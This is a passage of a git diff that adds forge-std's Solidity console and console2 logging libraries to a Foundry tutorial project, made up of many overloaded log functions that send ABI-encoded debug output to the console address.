+        _sendLogPayload(abi.encodeWithSignature('log(address,string,uint,uint)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, uint p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,uint,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, uint p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,uint,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, uint p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,uint,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, string memory p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,string,uint)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, string memory p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, string memory p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, string memory p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, bool p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,bool,uint)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, bool p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, bool p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, bool p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, address p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,address,uint)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, address p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, address p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, address p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, uint p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,uint,uint)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, uint p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,uint,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, uint p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,uint,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, uint p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,uint,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, string memory p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,string,uint)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, string memory p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, string memory p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, string memory p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, bool p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,bool,uint)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, bool p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, bool p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, bool p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, address p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,address,uint)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, address p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, address p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, address p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, uint p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,uint,uint)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, uint p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,uint,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, uint p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,uint,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, uint p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,uint,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, string memory p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,string,uint)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, string memory p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, string memory p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, string memory p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, bool p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,bool,uint)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, bool p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, bool p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, bool p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, address p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,address,uint)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, address p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, address p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, address p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,address,address)', p0, p1, p2, p3));
+    }
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/src/console2.sol b/basic/41-foundry/my_project/lib/forge-std/src/console2.sol
new file mode 100644
index 000000000..80c2f73d2
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/src/console2.sol
@@ -0,0 +1,1555 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.4.22 <0.9.0;
+
+/// @dev The original console.sol uses `int` and `uint` for computing function selectors, but it should
+/// use `int256` and `uint256`. This modified version fixes that. This version is recommended
+/// over `console.sol` if you don't need compatibility with Hardhat as the logs will show up in
+/// forge stack traces. If you do need compatibility with Hardhat, you must use `console.sol`.
+/// Reference: https://github.com/NomicFoundation/hardhat/issues/2178
+library console2 {
+    address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
+
+    function _castLogPayloadViewToPure(function(bytes memory) internal view fnIn) internal pure returns (function(bytes memory) internal pure fnOut) {
+        assembly {
+            fnOut := fnIn
+        }
+    }
+
+    function _sendLogPayload(bytes memory payload) internal pure {
+        _castLogPayloadViewToPure(_sendLogPayloadView)(payload);
+    }
+
+    function _sendLogPayloadView(bytes memory payload) private view {
+        uint256 payloadLength = payload.length;
+        address consoleAddress = CONSOLE_ADDRESS;
+        /// @solidity memory-safe-assembly
+        assembly {
+            let payloadStart := add(payload, 32)
+            let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
+        }
+    }
+
+    function log() internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log()'));
+    }
+
+    function logInt(int256 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(int256)', p0));
+    }
+
+    function logUint(uint256 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256)', p0));
+    }
+
+    function logString(string memory p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string)', p0));
+    }
+
+    function logBool(bool p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool)', p0));
+    }
+
+    function logAddress(address p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address)', p0));
+    }
+
+    function logBytes(bytes memory p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes)', p0));
+    }
+
+    function logBytes1(bytes1 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes1)', p0));
+    }
+
+    function logBytes2(bytes2 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes2)', p0));
+    }
+
+    function logBytes3(bytes3 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes3)', p0));
+    }
+
+    function logBytes4(bytes4 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes4)', p0));
+    }
+
+    function logBytes5(bytes5 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes5)', p0));
+    }
+
+    function logBytes6(bytes6 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes6)', p0));
+    }
+
+    function logBytes7(bytes7 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes7)', p0));
+    }
+
+    function logBytes8(bytes8 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes8)', p0));
+    }
+
+    function logBytes9(bytes9 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes9)', p0));
+    }
+
+    function logBytes10(bytes10 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes10)', p0));
+    }
+
+    function logBytes11(bytes11 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes11)', p0));
+    }
+
+    function logBytes12(bytes12 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes12)', p0));
+    }
+
+    function logBytes13(bytes13 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes13)', p0));
+    }
+
+    function logBytes14(bytes14 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes14)', p0));
+    }
+
+    function logBytes15(bytes15 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes15)', p0));
+    }
+
+    function logBytes16(bytes16 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes16)', p0));
+    }
+
+    function logBytes17(bytes17 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes17)', p0));
+    }
+
+    function logBytes18(bytes18 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes18)', p0));
+    }
+
+    function logBytes19(bytes19 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes19)', p0));
+    }
+
+    function logBytes20(bytes20 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes20)', p0));
+    }
+
+    function logBytes21(bytes21 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes21)', p0));
+    }
+
+    function logBytes22(bytes22 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes22)', p0));
+    }
+
+    function logBytes23(bytes23 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes23)', p0));
+    }
+
+    function logBytes24(bytes24 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes24)', p0));
+    }
+
+    function logBytes25(bytes25 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes25)', p0));
+    }
+
+    function logBytes26(bytes26 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes26)', p0));
+    }
+
+    function logBytes27(bytes27 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes27)', p0));
+    }
+
+    function logBytes28(bytes28 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes28)', p0));
+    }
+
+    function logBytes29(bytes29 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes29)', p0));
+    }
+
+    function logBytes30(bytes30 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes30)', p0));
+    }
+
+    function logBytes31(bytes31 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes31)', p0));
+    }
+
+    function logBytes32(bytes32 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes32)', p0));
+    }
+
+    function log(uint256 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256)', p0));
+    }
+
+    function log(int256 p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(int256)', p0));
+    }
+
+    function log(string memory p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string)', p0));
+    }
+
+    function log(bool p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool)', p0));
+    }
+
+    function log(address p0) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address)', p0));
+    }
+
+    function log(uint256 p0, uint256 p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256)', p0, p1));
+    }
+
+    function log(uint256 p0, string memory p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string)', p0, p1));
+    }
+
+    function log(uint256 p0, bool p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool)', p0, p1));
+    }
+
+    function log(uint256 p0, address p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address)', p0, p1));
+    }
+
+    function log(string memory p0, uint256 p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256)', p0, p1));
+    }
+
+    function log(string memory p0, int256 p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,int256)', p0, p1));
+    }
+
+    function log(string memory p0, string memory p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string)', p0, p1));
+    }
+
+    function log(string memory p0, bool p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool)', p0, p1));
+    }
+
+    function log(string memory p0, address p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address)', p0, p1));
+    }
+
+    function log(bool p0, uint256 p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256)', p0, p1));
+    }
+
+    function log(bool p0, string memory p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string)', p0, p1));
+    }
+
+    function log(bool p0, bool p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool)', p0, p1));
+    }
+
+    function log(bool p0, address p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address)', p0, p1));
+    }
+
+    function log(address p0, uint256 p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256)', p0, p1));
+    }
+
+    function log(address p0, string memory p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string)', p0, p1));
+    }
+
+    function log(address p0, bool p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool)', p0, p1));
+    }
+
+    function log(address p0, address p1) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address)', p0, p1));
+    }
+
+    function log(uint256 p0, uint256 p1, uint256 p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,uint256)', p0, p1, p2));
+    }
+
+    function log(uint256 p0, uint256 p1, string memory p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,string)', p0, p1, p2));
+    }
+
+    function log(uint256 p0, uint256 p1, bool p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,bool)', p0, p1, p2));
+    }
+
+    function log(uint256 p0, uint256 p1, address p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,address)', p0, p1, p2));
+    }
+
+    function log(uint256 p0, string memory p1, uint256 p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,uint256)', p0, p1, p2));
+    }
+
+    function log(uint256 p0, string memory p1, string memory p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,string)', p0, p1, p2));
+    }
+
+    function log(uint256 p0, string memory p1, bool p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,bool)', p0, p1, p2));
+    }
+
+    function log(uint256 p0, string memory p1, address p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,string,address)', p0, p1, p2));
+    }
+
+    function log(uint256 p0, bool p1, uint256 p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,uint256)', p0, p1, p2));
+    }
+
+    function log(uint256 p0, bool p1, string memory p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,string)', p0, p1, p2));
+    }
+
+    function log(uint256 p0, bool p1, bool p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,bool)', p0, p1, p2));
+    }
+
+    function log(uint256 p0, bool p1, address p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,bool,address)', p0, p1, p2));
+    }
+
+    function log(uint256 p0, address p1, uint256 p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,uint256)', p0, p1, p2));
+    }
+
+    function log(uint256 p0, address p1, string memory p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,string)', p0, p1, p2));
+    }
+
+    function log(uint256 p0, address p1, bool p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,bool)', p0, p1, p2));
+    }
+
+    function log(uint256 p0, address p1, address p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,address,address)', p0, p1, p2));
+    }
+
+    function log(string memory p0, uint256 p1, uint256 p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,uint256)', p0, p1, p2));
+    }
+
+    function log(string memory p0, uint256 p1, string memory p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,string)', p0, p1, p2));
+    }
+
+    function log(string memory p0, uint256 p1, bool p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,bool)', p0, p1, p2));
+    }
+
+    function log(string memory p0, uint256 p1, address p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint256,address)', p0, p1, p2));
+    }
+
+    function log(string memory p0, string memory p1, uint256 p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,uint256)', p0, p1, p2));
+    }
+
+    function log(string memory p0, string memory p1, string memory p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,string)', p0, p1, p2));
+    }
+
+    function log(string memory p0, string memory p1, bool p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,bool)', p0, p1, p2));
+    }
+
+    function log(string memory p0, string memory p1, address p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,address)', p0, p1, p2));
+    }
+
+    function log(string memory p0, bool p1, uint256 p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,uint256)', p0, p1, p2));
+    }
+
+    function log(string memory p0, bool p1, string memory p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,string)', p0, p1, p2));
+    }
+
+    function log(string memory p0, bool p1, bool p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,bool)', p0, p1, p2));
+    }
+
+    function log(string memory p0, bool p1, address p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,address)', p0, p1, p2));
+    }
+
+    function log(string memory p0, address p1, uint256 p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,uint256)', p0, p1, p2));
+    }
+
+    function log(string memory p0, address p1, string memory p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,string)', p0, p1, p2));
+    }
+
+    function log(string memory p0, address p1, bool p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,bool)', p0, p1, p2));
+    }
+
+    function log(string memory p0, address p1, address p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,address)', p0, p1, p2));
+    }
+
+    function log(bool p0, uint256 p1, uint256 p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,uint256)', p0, p1, p2));
+    }
+
+    function log(bool p0, uint256 p1, string memory p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,string)', p0, p1, p2));
+    }
+
+    function log(bool p0, uint256 p1, bool p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,bool)', p0, p1, p2));
+    }
+
+    function log(bool p0, uint256 p1, address p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint256,address)', p0, p1, p2));
+    }
+
+    function log(bool p0, string memory p1, uint256 p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,uint256)', p0, p1, p2));
+    }
+
+    function log(bool p0, string memory p1, string memory p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,string)', p0, p1, p2));
+    }
+
+    function log(bool p0, string memory p1, bool p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,bool)', p0, p1, p2));
+    }
+
+    function log(bool p0, string memory p1, address p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,address)', p0, p1, p2));
+    }
+
+    function log(bool p0, bool p1, uint256 p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,uint256)', p0, p1, p2));
+    }
+
+    function log(bool p0, bool p1, string memory p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,string)', p0, p1, p2));
+    }
+
+    function log(bool p0, bool p1, bool p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,bool)', p0, p1, p2));
+    }
+
+    function log(bool p0, bool p1, address p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,address)', p0, p1, p2));
+    }
+
+    function log(bool p0, address p1, uint256 p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,uint256)', p0, p1, p2));
+    }
+
+    function log(bool p0, address p1, string memory p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,string)', p0, p1, p2));
+    }
+
+    function log(bool p0, address p1, bool p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,bool)', p0, p1, p2));
+    }
+
+    function log(bool p0, address p1, address p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,address)', p0, p1, p2));
+    }
+
+    function log(address p0, uint256 p1, uint256 p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,uint256)', p0, p1, p2));
+    }
+
+    function log(address p0, uint256 p1, string memory p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,string)', p0, p1, p2));
+    }
+
+    function log(address p0, uint256 p1, bool p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,bool)', p0, p1, p2));
+    }
+
+    function log(address p0, uint256 p1, address p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,address)', p0, p1, p2));
+    }
+
+    function log(address p0, string memory p1, uint256 p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,uint256)', p0, p1, p2));
+    }
+
+    function log(address p0, string memory p1, string memory p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,string)', p0, p1, p2));
+    }
+
+    function log(address p0, string memory p1, bool p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,bool)', p0, p1, p2));
+    }
+
+    function log(address p0, string memory p1, address p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,address)', p0, p1, p2));
+    }
+
+    function log(address p0, bool p1, uint256 p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,uint256)', p0, p1, p2));
+    }
+
+    function log(address p0, bool p1, string memory p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,string)', p0, p1, p2));
+    }
+
+    function log(address p0, bool p1, bool p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,bool)', p0, p1, p2));
+    }
+
+    function log(address p0, bool p1, address p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,address)', p0, p1, p2));
+    }
+
+    function log(address p0, address p1, uint256 p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,uint256)', p0, p1, p2));
+    }
+
+    function log(address p0, address p1, string memory p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,string)', p0, p1, p2));
+    }
+
+    function log(address p0, address p1, bool p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,bool)', p0, p1, p2));
+    }
+
+    function log(address p0, address p1, address p2) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,address)', p0, p1, p2));
+    }
+
+    function log(uint256 p0, uint256 p1, uint256 p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,uint256,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, uint256 p1, uint256 p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,uint256,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, uint256 p1, uint256 p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,uint256,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, uint256 p1, uint256 p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,uint256,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, uint256 p1, string memory p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,string,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, uint256 p1, string memory p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, uint256 p1, string memory p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, uint256 p1, string memory p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, uint256 p1, bool p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,bool,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, uint256 p1, bool p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, uint256 p1, bool p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, uint256 p1, bool p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, uint256 p1, address p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,address,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, uint256 p1, address p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, uint256 p1, address p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(uint256,uint256,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint256 p0, uint256 p1, address p2, address p3) internal pure {
